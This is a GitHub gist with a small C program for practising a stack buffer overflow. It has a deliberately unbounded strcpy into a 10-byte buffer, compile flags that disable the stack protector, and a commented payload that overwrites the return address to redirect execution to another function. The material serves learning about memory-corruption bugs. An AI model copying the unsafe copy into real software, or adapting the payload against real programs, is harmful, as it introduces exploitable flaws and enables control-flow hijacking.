Skip to content

Instantly share code, notes, and snippets.

@stevester94
Last active April 16, 2016 00:57
Show Gist options
  • Save stevester94/96193dd6d4541fb0968f6131c3391b82 to your computer and use it in GitHub Desktop.
Save stevester94/96193dd6d4541fb0968f6131c3391b82 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <string.h>
// r $(python -c 'print ( ("AA"*16 + "FF"*8 + "7d05400000000000").decode("hex"))')
// gcc stackOverflowTesting.c -fno-stack-protector -g
//buffer || (stack pointer, 8bytes) || (return pointer, 8bytes)
//Address is 8 bytes, 64 bit machine
//Secure function at
//0x40057d
//0x00 00 00 00 00 40 05 7d
void secure() {
printf("Not so secure!\n");
}
void vulnerable(char** argv) {
char buffer[10]; //Pads to a total of 16 bytes
strcpy(buffer, argv[1]);
}
int main(int argc, char** argv) {
vulnerable(argv);
1 + 1;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment